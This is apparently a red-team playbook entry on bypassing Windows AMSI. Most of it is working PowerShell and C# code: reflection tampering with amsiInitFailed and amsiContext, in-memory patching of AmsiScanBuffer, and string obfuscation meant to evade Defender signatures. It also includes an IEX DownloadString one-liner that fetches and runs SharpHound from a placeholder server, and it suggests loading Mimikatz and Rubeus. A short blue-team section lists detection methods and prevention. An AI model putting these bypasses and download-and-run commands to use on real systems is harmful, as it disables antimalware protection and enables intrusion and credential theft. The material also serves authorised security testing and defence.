Amsi bypass

AMSI Bypass

When to Use

• When operating on a Windows target during a Red Team engagement where PowerShell or .NET memory execution is required, but an EDR/AV is actively inspecting script contents via AMSI.
• To execute tools like Mimikatz, Rubeus, SharpHound, or BloodHound directly in memory without dropping detectable binaries to disk.
• When standard obfuscation fails because AMSI inspects content AFTER deobfuscation at the interpreter level.
• When needing to load custom .NET assemblies via Assembly.Load() which AMSI intercepts.

When NOT to use: If you need to bypass on-disk AV signature detection, use av-edr-evasion-techniques. For process injection after bypass, use process-hollowing.

Prerequisites

• Administrative or user-level access on a Windows target (AMSI bypass doesn't always require admin)
• PowerShell 5.1+ or PowerShell Core on the target
• Understanding of x86/x64 calling conventions for patching techniques
• For debugging: x64dbg or WinDbg for verifying patches

Workflow

Phase 1: Understanding AMSI Architecture

# Concept: AMSI (Antimalware Scan Interface) is a Windows API that allows applications
# to request AV scans of arbitrary content BEFORE it executes. 

# The scan flow:
# 1. User types PowerShell command → PowerShell.exe receives it
# 2. PowerShell calls AmsiScanBuffer() or AmsiScanString() in amsi.dll
# 3. amsi.dll forwards the content to registered AV providers (e.g., Defender)
# 4. AV returns AMSI_RESULT (Clean, Detected, etc.)
# 5. If Detected → PowerShell blocks execution with an error

# Key DLL functions in amsi.dll:
# - AmsiInitialize()     → Creates AMSI context for the application
# - AmsiOpenSession()    → Opens a scan session
# - AmsiScanBuffer()     → Scans raw byte buffer (PRIMARY TARGET)
# - AmsiScanString()     → Scans string content
# - AmsiCloseSession()   → Closes session
# - AmsiUninitialize()   → Destroys AMSI context

# Attack surface: If we corrupt AmsiScanBuffer() or AmsiOpenSession(),
# ALL subsequent scans return "clean" regardless of actual content.

Phase 2: Reflection-Based Bypass (No Admin Required)

# Technique 1: amsiInitFailed flag manipulation
# Concept: PowerShell internally tracks AMSI initialization status.
# If we set the internal flag 'amsiInitFailed' to True, PowerShell
# skips ALL AMSI scans entirely because it thinks AMSI never loaded.

# Step 1: Get the internal type using Reflection
$AmsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

# Step 2: Access the private static field 'amsiInitFailed'
$AmsiInitFailed = $AmsiUtils.GetField('amsiInitFailed', 'NonPublic,Static')

# Step 3: Set it to True — AMSI now thinks it failed to initialize
$AmsiInitFailed.SetValue($null, $true)

# Verify: This command would normally be blocked by AMSI
Invoke-Expression 'Write-Host "AMSI is Bypassed — loading offensive tools..."'

# Limitation: This specific string is now SIGNATURED by Defender.
# You MUST obfuscate it (see Phase 3).

# Technique 2: Patching amsiContext to null
# Concept: Corrupt the AMSI context pointer so scans have no valid context.

$AmsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$AmsiContext = $AmsiUtils.GetField('amsiContext', 'NonPublic,Static')

# Setting context to IntPtr.Zero causes AmsiScanBuffer to fail gracefully
[IntPtr]$ContextPointer = $AmsiContext.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteInt32($ContextPointer, 0x80070057) # E_INVALIDARG

Phase 3: Memory Patching — AmsiScanBuffer (Admin Preferred)

# Technique 3: Direct memory patching of AmsiScanBuffer
# Concept: Overwrite the first bytes of AmsiScanBuffer() with instructions
# that immediately return AMSI_RESULT_CLEAN (0x00000000) or E_INVALIDARG.

# The patch: mov eax, 0x80070057; ret (return E_INVALIDARG immediately)
# Bytes: B8 57 00 07 80 C3

# Step 1: Get handle to amsi.dll (already loaded in PowerShell process)
$Kernel32 = Add-Type -MemberDefinition @'
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
'@ -Name 'Kernel32' -Namespace 'Win32' -PassThru

# Step 2: Locate AmsiScanBuffer address
$AmsiDll = $Kernel32::LoadLibrary("amsi.dll")
$AmsiScanBuffer = $Kernel32::GetProcAddress($AmsiDll, "AmsiScanBuffer")

# Step 3: Change memory protection to PAGE_EXECUTE_READWRITE
$OldProtection = 0
$Kernel32::VirtualProtect($AmsiScanBuffer, [UIntPtr]6, 0x40, [ref]$OldProtection)

# Step 4: Write the patch bytes
$Patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AmsiScanBuffer, 6)

# Step 5: Restore original memory protection
$Kernel32::VirtualProtect($AmsiScanBuffer, [UIntPtr]6, $OldProtection, [ref]$OldProtection)

# AmsiScanBuffer now immediately returns E_INVALIDARG for ALL scans.
# Load Mimikatz, Rubeus, SharpHound, etc. freely.

Phase 4: Obfuscation to Evade AMSI Signatures

# Problem: Microsoft signatures the bypass code itself!
# "AmsiUtils", "amsiInitFailed", "AmsiScanBuffer" are all flagged strings.

# Technique 1: String concatenation
$TypeName = 'Sys' + 'tem.Man' + 'agement.Au' + 'tomation.Am' + 'siUt' + 'ils'
$FieldName = 'am' + 'siIn' + 'itFa' + 'iled'
$Ref = [Ref].Assembly.GetType($TypeName)
$Field = $Ref.GetField($FieldName, 'NonPublic,Static')
$Field.SetValue($null, $true)

# Technique 2: Base64 encoding
$EncodedType = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='))
$Ref = [Ref].Assembly.GetType($EncodedType)

# Technique 3: XOR-based string obfuscation
function Decode-XOR {
    param([byte[]]$Encoded, [byte]$Key)
    $Decoded = @()
    foreach ($byte in $Encoded) { $Decoded += ($byte -bxor $Key) }
    [Text.Encoding]::ASCII.GetString($Decoded)
}

# Technique 4: Reflection via runtime type resolution
[Reflection.Assembly]::LoadWithPartialName('System.Core') | Out-Null
# Use runtime method invocation to find and patch the target

# Technique 5: Variable substitution with random names
$a = [Ref].Assembly.GetType(('System.Manage'+'ment.Autom'+'ation.tic'+'Utils').Replace('tic','Ams'+'i'))
$b = $a.GetField(('am'+'siSession'), ('NonPub'+'lic,Stat'+'ic'))

Phase 5: CLR / .NET Assembly-Level AMSI Bypass

// Concept: When loading .NET assemblies via Assembly.Load(), CLR hooks into AMSI.
// We must patch AMSI BEFORE loading the assembly.

// C# code to compile as .NET assembly for in-memory loading:
using System;
using System.Runtime.InteropServices;

public class AmsiBypass {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 
        uint flNewProtect, out uint lpflOldProtect);

    public static void Patch() {
        IntPtr amsiDll = LoadLibrary("amsi.dll");
        IntPtr amsiScanBuffer = GetProcAddress(amsiDll, "AmsiScanBuffer");
        
        uint oldProtect = 0;
        VirtualProtect(amsiScanBuffer, (UIntPtr)6, 0x40, out oldProtect);
        
        // mov eax, 0x80070057; ret
        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        Marshal.Copy(patch, 0, amsiScanBuffer, 6);
        
        VirtualProtect(amsiScanBuffer, (UIntPtr)6, oldProtect, out oldProtect);
    }
}

Phase 6: Validating the Bypass

# Test 1: EICAR string (should be blocked by any AV)
Invoke-Expression 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
# If AMSI is bypassed: No error thrown
# If AMSI is active: "This script contains malicious content" error

# Test 2: Known-bad Mimikatz string
Invoke-Expression '"Invoke-Mimikatz"'
# Just the string, not execution — tests if AMSI detects the keyword

# Test 3: Check AMSI provider registration
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"
# Lists registered AMSI providers (Defender, third-party AV)

# Test 4: Load actual offensive tool
IEX (New-Object Net.Webclient).DownloadString('http://YOUR_SERVER/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All

Decision Point 🔀

flowchart TD
    A[Gain Execution on Windows Target] --> B{Is PowerShell Constrained Language Mode?}
    B -->|Yes| C[Use CLR/.NET bypass or switch to cmd.exe/wscript.exe]
    B -->|No| D[Attempt Reflection-based bypass - amsiInitFailed]
    D --> E{Bypass detected/blocked?}
    E -->|Yes| F[Apply string obfuscation - concatenation/Base64/XOR]
    F --> G{Still blocked?}
    G -->|Yes| H[Switch to memory patching - AmsiScanBuffer patch]
    G -->|No| I[✅ Load offensive tools in memory]
    E -->|No| I
    H --> J{Admin access available?}
    J -->|Yes| K[Apply kernel32 VirtualProtect + direct patch]
    J -->|No| L[Use Frida for userland hooking of amsi.dll]
    K --> I
    L --> I
    C --> M[Compile C# AMSI bypass as .NET assembly]
    M --> I

🔵 Blue Team Detection & Defense

Detection Methods

• ETW (Event Tracing for Windows): Even if AMSI is bypassed, ETW providers can still capture PowerShell activity. Monitor Microsoft-Windows-PowerShell/Operational and Microsoft-Antimalware-Scan-Interface ETW providers.
• Sysmon Event ID 7 (Image Loaded): Monitor for amsi.dll being loaded into unexpected processes. Alert on processes loading amsi.dll followed by immediate suspicious API calls.
• Sysmon Event ID 10 (Process Access): Monitor for processes accessing amsi.dll memory regions with PAGE_EXECUTE_READWRITE permissions.
• Script Block Logging (Event ID 4104): Even with AMSI bypassed, PowerShell Script Block Logging captures the actual deobfuscated content executed. This is the MOST reliable detection source.
• Memory Integrity Scanning: EDRs that perform periodic memory scanning of amsi.dll can detect if the .text section has been patched by comparing against the known-good hash.

Prevention

• PowerShell Constrained Language Mode (CLM): Prevents the use of .NET Reflection and Add-Type, blocking most reflection-based AMSI bypasses.
• Windows Defender Credential Guard: Protects sensitive APIs and data from usermode patching.
• Hypervisor-Protected Code Integrity (HVCI): Uses VBS (Virtualization Based Security) to prevent unauthorized kernel and driver code modifications.
• AppLocker/WDAC Policies: Restrict PowerShell to ConstrainedLanguage mode for non-admin users.

Key Concepts

Concept	Description
AMSI	Antimalware Scan Interface — Windows API allowing apps to submit content for AV scanning before execution. Hooks into PowerShell, VBScript, JScript, .NET, and WMI
AmsiScanBuffer	The core amsi.dll function that accepts byte buffers for scanning. Primary target for memory patching bypasses
Reflection	.NET feature allowing runtime inspection and modification of types, fields, and methods. Used to access internal PowerShell state like amsiInitFailed
Memory Patching	Directly modifying executable code in memory by changing page protections (VirtualProtect) and writing new bytes over function prologues
ETW	Event Tracing for Windows — kernel-level telemetry that operates independently of AMSI, making it harder to bypass
CLM	Constrained Language Mode — PowerShell security feature that restricts .NET access, blocking most AMSI bypass techniques

Output Format

Amsi Bypass — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• CyberArk: Bypassing AMSI: A comprehensive guide
• SANS: Living off the Land and AMSI Bypass
• Microsoft: How AMSI helps you defend against malware
• RastaMouse: AMSI Bypass Methods Collection
• S3cur3Th1sSh1t: AMSI Bypass PowerShell